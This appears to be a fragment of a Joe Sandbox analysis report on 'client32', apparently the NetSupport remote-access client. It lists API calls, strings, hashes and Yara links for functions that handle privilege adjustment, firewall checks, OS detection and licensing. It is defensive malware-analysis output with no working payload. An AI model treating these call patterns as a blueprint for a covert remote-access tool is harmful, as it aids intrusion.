GetSystemTime.KERNEL32(?,DB83AE95,937B54B7,FFFFFFFF,00000000), ref: 6C811875
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00002000), ref: 6C81187F
EnterCriticalSection.KERNEL32(6C849898,?,937B5537), ref: 6C811909
LeaveCriticalSection.KERNEL32(6C849898), ref: 6C81191B
GetCurrentThreadId.KERNEL32 ref: 6C811990

Part of subcall function 6C81A090: __strdup.LIBCMT ref: 6C81A0AA

Part of subcall function 6C81A170: _free.LIBCMT ref: 6C81A19D

Strings

ACK=1, xrefs: 6C81195A
INFO=1, xrefs: 6C81194C
CMD=POLL, xrefs: 6C81193C
1.1, xrefs: 6C811888, 6C811892

Memory Dump Source

Source File: 0000000B.00000002.3755108701.000000006C801000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C800000, based on PE: true

Associated: 0000000B.00000002.3755083319.000000006C800000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755174428.000000006C847000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C848000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C84C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755242929.000000006C84F000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c800000_client32.jbxd

Similarity

API ID: Time$System$CriticalFileSection$CurrentEnterLeaveThread__strdup_free
String ID: 1.1$ACK=1$CMD=POLL$INFO=1
API String ID: 1510130979-3441452530
Opcode ID: 33434caaf5d8d7b4fea33e01ccf67d54e9fb9794de6aaf5812c6ad881af631a3
Instruction ID: e6aff1ff178197c77b51d642ce02968ec28f133900aac9b4f9a0c860d2ca4472
Opcode Fuzzy Hash: 33434caaf5d8d7b4fea33e01ccf67d54e9fb9794de6aaf5812c6ad881af631a3
Instruction Fuzzy Hash: DC616171904219AFDB24DFE4DA80EEEB7B9FB48314F448D2DE415A7B40DB34A508CBA1

Function 11134460 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 139registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetVersionExA.KERNEL32(111DC648,75A38400), ref: 11134490
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 111344CF
_memset.LIBCMT ref: 111344ED

Part of subcall function 11132450: RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1110291B,75A38400,?,?,1113451F,00000000,CSDVersion,00000000,00000000,?), ref: 11132470

_strncpy.LIBCMT ref: 111345AF

Part of subcall function 11152C8A: __isdigit_l.LIBCMT ref: 11152CAF

RegCloseKey.KERNEL32(00000000), ref: 111345BF

Strings

CSDVersion, xrefs: 1113450A
Service Pack, xrefs: 11134606
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 111344BB
CurrentVersion, xrefs: 11134534

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValueVersion__isdigit_l_memset_strncpy
String ID: CSDVersion$CurrentVersion$SOFTWARE\Microsoft\Windows NT\CurrentVersion$Service Pack
API String ID: 3299820421-3310072378
Opcode ID: 7ab92e51ad01e1907d7b427f1449cbf7b293f8cedb1a70cc30572aa3416370ee
Instruction ID: 3b0f4771cf844cdb0b0f75355f5e50aa58b9dccac0828de2761a27a020c1cb56
Opcode Fuzzy Hash: 7ab92e51ad01e1907d7b427f1449cbf7b293f8cedb1a70cc30572aa3416370ee
Instruction Fuzzy Hash: 2D416E79E50215ABDF20CF60CC44FDEFBB49B8531DF100568F91956688E6307940CF91

Function 1108F8C0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 1108F8D4
CLSIDFromProgID.COMBASE(HNetCfg.FwMgr,?), ref: 1108F8E7
CoCreateInstance.OLE32(?,00000000,00000001,111AC67C,?), ref: 1108F904
CoUninitialize.COMBASE ref: 1108F922

Strings

ICF Present: , xrefs: 1108F929
HNetCfg.FwMgr, xrefs: 1108F8E2

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateFromInitializeInstanceProgUninitialize
String ID: HNetCfg.FwMgr$ICF Present:
API String ID: 3222248624-258972079
Opcode ID: e60eba5eeb344acb8759f58af3e6bf86e3ef3d66aa5fb3739c6cfdd7dd58bbd8
Instruction ID: 770ce8111ca66446bd8ca763adae3b9fe85744b9a4d07a8ee584aead76b08d87
Opcode Fuzzy Hash: e60eba5eeb344acb8759f58af3e6bf86e3ef3d66aa5fb3739c6cfdd7dd58bbd8
Instruction Fuzzy Hash: 5801A175F015197FDB00DBB58C49AEFBB78AF05608F10406CFA55D7104EA31EA0087E2

Function 1106DED0 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 314COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1106E000
_memset.LIBCMT ref: 1106E179

Strings

NBCTL32.DLL, xrefs: 1106E0B5
serial_no, xrefs: 1106DFBC
_License, xrefs: 1106DFC1

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memset
String ID: NBCTL32.DLL$_License$serial_no
API String ID: 2102423945-35127696
Opcode ID: c3ecfa7420b948e47ebb5e2de70d7ea8b1f3f183f60ef3a79e0d604a368113f0
Instruction ID: 1a78bdd532166b519948713500080bf5a329ee9b8eb99bc9d5adcd4aa2325004
Opcode Fuzzy Hash: c3ecfa7420b948e47ebb5e2de70d7ea8b1f3f183f60ef3a79e0d604a368113f0
Instruction Fuzzy Hash: 7AB19075E00615AFE704CFA8DC81FEEB7F9FF88304F148169E9199B295DA70A941CB90

Function 1102F520 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(1102CBF0,?,00000000), ref: 1102F544

Strings

NSMWClass, xrefs: 1102F54F
NSMWClass, xrefs: 1102F563
Client32, xrefs: 1102F524

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID: Client32$NSMWClass$NSMWClass
API String ID: 3192549508-611217420
Opcode ID: 4eab6215739f9884cf541315221468652090f083f0c597e6065554ff95b3bc8c
Instruction ID: c0b43f1959f31bc3ff899fb62870b938a0e0ae705628d7a6d3f14f32828bbd8a
Opcode Fuzzy Hash: 4eab6215739f9884cf541315221468652090f083f0c597e6065554ff95b3bc8c
Instruction Fuzzy Hash: 12F04F74900122DFC706DF69EC94A8DF7A1EF5860CB148539EC1457348EB7069008B95

Function 11096C50 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?,00000001,?,00000000), ref: 11096C88
GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000001,00000001), ref: 11096CA4
AllocateAndInitializeSid.ADVAPI32(?,00000001,00000012,0109D280,0109D280,0109D280,0109D280,0109D280,0109D280,0109D280,111DA704,?,00000001,00000001), ref: 11096CD0
EqualSid.ADVAPI32(?,0109D280,?,00000001,00000001), ref: 11096CE3

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InformationToken$AllocateEqualInitialize
String ID:
API String ID: 1878589025-0
Opcode ID: 3513740187f7c4b306437e11a9b873ce9c80dec7f112a18a8bdffc49cb84d1ba
Instruction ID: aa5dce42b75e03a3a8ef6c037090e6362b52afdfa5aa590746b819f611b8b8b3
Opcode Fuzzy Hash: 3513740187f7c4b306437e11a9b873ce9c80dec7f112a18a8bdffc49cb84d1ba
Instruction Fuzzy Hash: EB215075F01219AFEB00DBA5DD91BFEB7B8EF45704F114069ED29D7180E671A900CBA1

Function 11095790 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(000F01FF,?,1102E62B,00000000,00000000,00080000,82E0FB89,00080000,00000000,00000000), ref: 110957BD
OpenProcessToken.ADVAPI32(00000000), ref: 110957C4
LookupPrivilegeValueA.ADVAPI32(00000000,00000000,?), ref: 110957D5
AdjustTokenPrivileges.KERNELBASE(00000000), ref: 110957F9

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ProcessToken$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 2349140579-0
Opcode ID: 0aca1979a8b40330feb026a925631bbf072c9ab4aa1e9dcba116c2c53325dd2e
Instruction ID: 79cce8e325d1ff2264d6913acd6930832bfb3e6363bf0221359440810bb14152
Opcode Fuzzy Hash: 0aca1979a8b40330feb026a925631bbf072c9ab4aa1e9dcba116c2c53325dd2e
Instruction Fuzzy Hash: 15014CB6600219AFD710DF98CC89BAEF7BCFF48705F10456DE90697184DBB06A04CBA1

Function 11095820 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,00000000,?,?,00000000,00000000,00000000,11096B50,00000244,cant create events), ref: 1109583C
CloseHandle.KERNEL32(?,00000000,11096B50,00000244,cant create events), ref: 11095845

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: bb2189a0ce0e681acf5e2c3f9941def6db024e7673ae4e4681922f78f91d01b4
Instruction ID: 2dc9c20525e0398814adb1e9c50c9e564b761da8d4f29b98c64898ead9ee3d7b
Opcode Fuzzy Hash: bb2189a0ce0e681acf5e2c3f9941def6db024e7673ae4e4681922f78f91d01b4
Instruction Fuzzy Hash: 32E0EC71704211ABE738CF159C94FA777ECAF04B01F11496EF957E6184CA61E8408B64

Function 1102CD80 Relevance: 229.3, APIs: 31, Strings: 99, Instructions: 1762windowthreadsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 11102870: _malloc.LIBCMT ref: 11102889
Part of subcall function 11102870: wsprintfA.USER32 ref: 111028A4
Part of subcall function 11102870: _memset.LIBCMT ref: 111028C7

GetSystemMetrics.USER32(00002000), ref: 1102CF04
FindWindowA.USER32(NSMWClass,00000000), ref: 1102D0C5

Part of subcall function 111035C0: GetCurrentThreadId.KERNEL32 ref: 11103656
Part of subcall function 111035C0: InitializeCriticalSection.KERNEL32(-00000010,?,1102F49F,00000001,00000000), ref: 11103669
Part of subcall function 111035C0: InitializeCriticalSection.KERNEL32(111DC080,?,1102F49F,00000001,00000000), ref: 11103678
Part of subcall function 111035C0: EnterCriticalSection.KERNEL32(111DC080,?,1102F49F), ref: 1110368C
Part of subcall function 111035C0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,1102F49F), ref: 111036B2

GetWindowThreadProcessId.USER32(00000000,?), ref: 1102D101
OpenProcess.KERNEL32(00100400,00000000,?), ref: 1102D129
IsILS.PCICHEK(?,?,View,Client,Bridge), ref: 1102D3E6

Part of subcall function 1108DAC0: OpenProcessToken.ADVAPI32(00000000,00000018,00000000,00000000,00000000,00000000,?,?,1102D158,00000000,?,00000100,00000000,00000000,00000000), ref: 1108DADC
Part of subcall function 1108DAC0: OpenProcessToken.ADVAPI32(00000000,00000008,00000000,?,?,1102D158,00000000,?,00000100,00000000,00000000,00000000), ref: 1108DAE9
Part of subcall function 1108DAC0: CloseHandle.KERNEL32(00000000,00000000,?,00000100,00000000,00000000,00000000), ref: 1108DB19

SendMessageA.USER32(00000000,00000010,00000000,00000000), ref: 1102D188
WaitForSingleObject.KERNEL32(00000000,00007530), ref: 1102D194
CloseHandle.KERNEL32(00000000), ref: 1102D1AC
FindWindowA.USER32(NSMWClass,00000000), ref: 1102D1B9
GetWindowThreadProcessId.USER32(00000000,?), ref: 1102D1DB
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 1102CF36

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

LoadIconA.USER32(11000000,000004C1), ref: 1102D571
LoadIconA.USER32(11000000,000004C2), ref: 1102D581
DestroyCursor.USER32(00000000), ref: 1102D5AA
DestroyCursor.USER32(00000000), ref: 1102D5BE
GetVersion.KERNEL32(?,?,?,?,?,00000000,00000000,?,?,View,Client,Bridge), ref: 1102DAEF
GetVersionExA.KERNEL32(?,?,?,?,?,?,00000000,00000000,?,?,View,Client,Bridge), ref: 1102DB42
Sleep.KERNEL32(00000064,Client,*StartupDelay,00000000,00000000,?,?,?,?,?,00000000,00000000,?,?,View,Client), ref: 1102E054
PeekMessageA.USER32(?,00000000,00000000,00000009,00000001), ref: 1102E08E
DispatchMessageA.USER32(?), ref: 1102E098
PeekMessageA.USER32(?,00000000,00000000,00000009,00000001), ref: 1102E0AA
CloseHandle.KERNEL32(00000000,11025FA0,00000001,00000000,?,?,?,?,?,00000000,?,?,?,?,?,00000000), ref: 1102E345
GetCurrentProcess.KERNEL32(00000000,Client,*PriorityClass,00000080,00000000,Client,*ScreenScrape,00000000,00000000,?,?,?,?,?,00000000), ref: 1102E37A
SetPriorityClass.KERNEL32(00000000,?,?,?,?,?,00000000,?,?,?,?,?,00000000,00000000), ref: 1102E381
SetWindowPos.USER32(0001042A,000000FF,00000000,00000000,00000000,00000000,00000013,Client,AlwaysOnTop,00000000,00000000), ref: 1102E3B1
CloseHandle.KERNEL32(00000000,11055780,00000001,00000000,?,?,?,?,?,?,?,?,00000000), ref: 1102E42F
wsprintfA.USER32 ref: 1102E575

Part of subcall function 11059580: __wcstoi64.LIBCMT ref: 110595BD

PostMessageA.USER32(NSMWControl32,00000000,Default,Client,UseIPC,00000001,00000000), ref: 1102E66C
PostMessageA.USER32(00000000,00000693,00000000,00000000), ref: 1102E680
PostMessageA.USER32(00000000,00000693,00000000,00000000), ref: 1102E6A6
PostMessageA.USER32(00000000,00000693,00000000,00000000), ref: 1102E6CC

Part of subcall function 11134460: GetVersionExA.KERNEL32(111DC648,75A38400), ref: 11134490
Part of subcall function 11134460: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 111344CF
Part of subcall function 11134460: _memset.LIBCMT ref: 111344ED
Part of subcall function 11134460: _strncpy.LIBCMT ref: 111345AF
Part of subcall function 11134460: RegCloseKey.KERNEL32(00000000), ref: 111345BF

Strings

_debug, xrefs: 1102E011
Windows 95, xrefs: 1102DB54
gClient.hNotifyEvent, xrefs: 1102CF4F
Windows Ding.wav, xrefs: 1102DA66
Windows 2003, xrefs: 1102DC97
Windows NT, xrefs: 1102DC0E
ScreenScrape, xrefs: 1102D7B4, 1102D7DE, 1102D808
ShowKBEnable, xrefs: 1102D83E
TracePriv, xrefs: 1102E00C
License Control Internal Error, xrefs: 1102D444, 1102D473, 1102D489
Ready, xrefs: 1102E6CE
NSM.LIC, xrefs: 1102D23D, 1102D2DB
win8ui, xrefs: 1102D514
_debug, xrefs: 1102D519, 1102D672, 1102E5CE
AssertTimeout, xrefs: 1102D64F
IsILS returned %d, isvistaservice %d, xrefs: 1102D3F5
Error. Could not load transports - perhaps another client is running, xrefs: 1102E272
NSSWControl32, xrefs: 1102E693
istaService, xrefs: 1102CE1B
Windows 2000, xrefs: 1102DC3B
CabinetWClass, xrefs: 1102E7B7
DisableAudio, xrefs: 1102D6F5, 1102D716, 1102D784, 1102D8EB, 1102D989
V11.41.3, xrefs: 1102DF8E
NSMWClassVista, xrefs: 1102CEB5
Error x%x reading nsm.lic, sesh=%d, xrefs: 1102D2A6
V12.01.3, xrefs: 1102DF95, 1102DFC9
Windows XP Ding.wav, xrefs: 1102DA6D
NSMWControl32, xrefs: 1102E667
NSA.LIC, xrefs: 1102D24B, 1102D252, 1102D275
Windows 98, xrefs: 1102DB85
TraceIPC, xrefs: 1102E5C9
General, xrefs: 1102D654, 1102D694, 1102DA03, 1102DA36
Client, xrefs: 1102D209, 1102D6FA, 1102D71B, 1102D789, 1102D7A1, 1102D7B9, 1102D7E3, 1102D80D, 1102D843, 1102D878, 1102D890, 1102D8A8, 1102D8C0, 1102D8D8, 1102D8F0, 1102D916, 1102D92E, 1102D946, 1102D95E, 1102D976, 1102D98E, 1102D9A6, 1102D9BE, 1102DAD5, 1102E033, 1102E0D8, 1102E121, 1102E300, 1102E354, 1102E36F, 1102E394, 1102E498, 1102E4B3, 1102E59F
Windows 8.1 x64, xrefs: 1102DF09
UseIPC, xrefs: 1102E59A
DisableHelp, xrefs: 1102D9B9
DisableJoinClass, xrefs: 1102D873, 1102D911
MiniDumpType, xrefs: 1102D66D
Windows 2012 R2, xrefs: 1102DF35
client32, xrefs: 1102D325, 1102D4AE
OS2, xrefs: 1102DBED
Windows 2012, xrefs: 1102DEB8
DisableReplayMenu, xrefs: 1102D88B, 1102D929
EnableSmartcardAuth, xrefs: 1102E4AE
Windows 2008 x64, xrefs: 1102DDCF
Windows XP, xrefs: 1102DC66
Audio, xrefs: 1102D733, 1102DB11
Error. Wrong hardware. Terminating, xrefs: 1102D424
Windows 8, xrefs: 1102DE5F
*BeepSound, xrefs: 1102DA31
Windows 2008, xrefs: 1102DDA0
NSTWControl32, xrefs: 1102E6B9
DisableJournal, xrefs: 1102D8BB, 1102D959
pcicl32, xrefs: 1102D094
EnableSmartcardLogon, xrefs: 1102E493
Windows 8.1, xrefs: 1102DEE3
Info. Client already running, pid=%d (x%x), xrefs: 1102D10F
Default, xrefs: 1102E661, 1102E68D, 1102E6B3
*PriorityClass, xrefs: 1102E36A
Windows 7, xrefs: 1102DE06
Windows 8 x64, xrefs: 1102DE87
Windows 7 x64, xrefs: 1102DE2E
Info. Client running as user=%s, type=%d, xrefs: 1102D162
EnableGradientCaptions, xrefs: 1102D5FC, 1102D613, 1102D634
NSMWClass, xrefs: 1102CEC6, 1102D0A7, 1102D1B4, 1102E55F
494126, xrefs: 1102E18E, 1102E1E3, 1102E226, 1102E30A
NoFTWhenLoggedOff, xrefs: 1102D9A1
Windows CE, xrefs: 1102DF61
UseLegacyPrintCapture, xrefs: 1102DAD0
Found old explorer hwnd=x%x h=%d,w=%d,style=x%x (%s), xrefs: 1102E8A6
Windows Vista x64, xrefs: 1102DD67
View, xrefs: 1102D215, 1102D601, 1102D618, 1102D639
closed ok, xrefs: 1102D19E
DisableAudioFilter, xrefs: 1102D72E, 1102DB0C
Global\NSMWClassAdmin, xrefs: 1102E56A
hClientRunning = %x, pid=%d (x%x), xrefs: 1102D1EA
istaUI, xrefs: 1102CE36
*BeepUsingSpeaker, xrefs: 1102D9FE
*ScreenScrape, xrefs: 1102E0D3, 1102E11C, 1102E34F
RestartAfterError, xrefs: 1102D68F
DisableJournalMenu, xrefs: 1102D8D3, 1102D971
DisableRunplugin, xrefs: 1102D79C
Info. Trying to close client, xrefs: 1102D174
Windows 2003 x64, xrefs: 1102DCFF
*StartupDelay, xrefs: 1102E02E
CLIENT32.CPP, xrefs: 1102CF4A, 1102D4C7
Intel error "%s", xrefs: 1102D474
Found new explorer hwnd=x%x h=%d,w=%d,style=x%x (%s), xrefs: 1102E944
\Explorer.exe, xrefs: 1102E85D
Windows Vista, xrefs: 1102DD36
Bridge, xrefs: 1102D1FD
Windows Millennium, xrefs: 1102DBAB
DisableConsoleClient, xrefs: 1102D6C5, 1102D75A
Session shutting down, exiting..., xrefs: 1102CF0E
DisableRequestHelp, xrefs: 1102D8A3, 1102D941
Windows XP x64, xrefs: 1102DCC6
DisableTSAdmin, xrefs: 1102D6DD
AlwaysOnTop, xrefs: 1102E38F
cl32main, xrefs: 1102CDB3

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
